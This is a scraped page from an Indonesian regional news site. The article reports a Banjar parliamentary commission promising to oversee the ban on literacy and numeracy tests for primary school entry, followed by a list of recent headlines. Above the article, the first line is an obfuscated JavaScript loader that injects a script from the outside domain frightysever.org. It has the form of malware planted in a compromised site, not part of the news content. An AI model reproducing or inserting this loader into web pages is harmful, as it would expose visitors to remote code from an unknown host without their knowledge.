(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Tes Calistung Tak Boleh, Komisi IV Janji Awasi Penerimaan Siswa SD


MARTAPURA, Komisi IV DPRD Banjar janji akan mengawal kebijakan penghapusan tes membaca menulis berhitung (Calistung) saat penerimaan peserta didik baru tingkat SD, tahun ajaran baru nanti.

Perlu diketahui Tes Calistung memang menjadi pro dan kontra ketika anak usia 6-7 tahun sebelum memasuki SD. Hal tersebut sangat tidak tepat, karena anak usia 4-6 tahun dan masih duduk di bangku TK, belum saatnya untuk menerima pelajaran Calistung.

Wakil Ketua Komisi IV DPRD Banjar Khairuddin kepada Kanal Kalimantan mengatakan,

akan menggunakan berbagai cara untuk meningkatkan kualitas pendidikan, salah satunya dengan menggunakan dana Reses. “Karena itu dana rakyat maka akan kita kembalikan hasilnya kepada rakyat juga,” jelasnya.

“Kita akan menyampaikan tentang presepsi tes calistung K-13 di kelas satu SD ini akan betul-betul sesuai dengan kompetensi dasarnya,” katanya.

Secara teoritis, belum ada teori pendidikan yang membolehkan pelaksanaan ujian calistung bagi anak SD. Misalkan saja teori Piaget tentang perkembangan mental anak. Menurut teori ini, anak yang berumur 4-6 tahun tahap berpikirnya baru pada tahap intuitif. Artinya, anak seumuran tersebut, daya atau kemampuan mengetahui atau memahami sesuatu tanpa dipikirkan atau dipelajari.

Lebih jelasnya mengetahui dan memahami sesuatu itu baru berdasarkan perasaan atau insting saja, tanpa melalui pembelajaran yang tersistematis. Dari teori tersebut, dapat disimpulkan bahwa anak pada tahap itu belum siap menerima pembelajaran yang bersifat kognisi, termasuk apa yang dimaksud dengan calistung tersebut.

Masih menurut Khairuddin, nantinya Reses tersebut akan dilaksanakan di beberapa titik seperti di Kecamatan Astambul, Martapura Barat, Martapura Kota, Sungai Tabuk dan Kecamatan Kertak hanyar dan akan dilaksanakan Juli saat awal tahun ajaran tahun 2018.

“Harus ada persamaan persepsi kesepakatan kepada guru-guru yang ada soal calistung itu,” pungkasnya. (rendy)

Reporter:Rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

13 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

13 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

13 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

14 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

14 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

15 jam ago

This website uses cookies.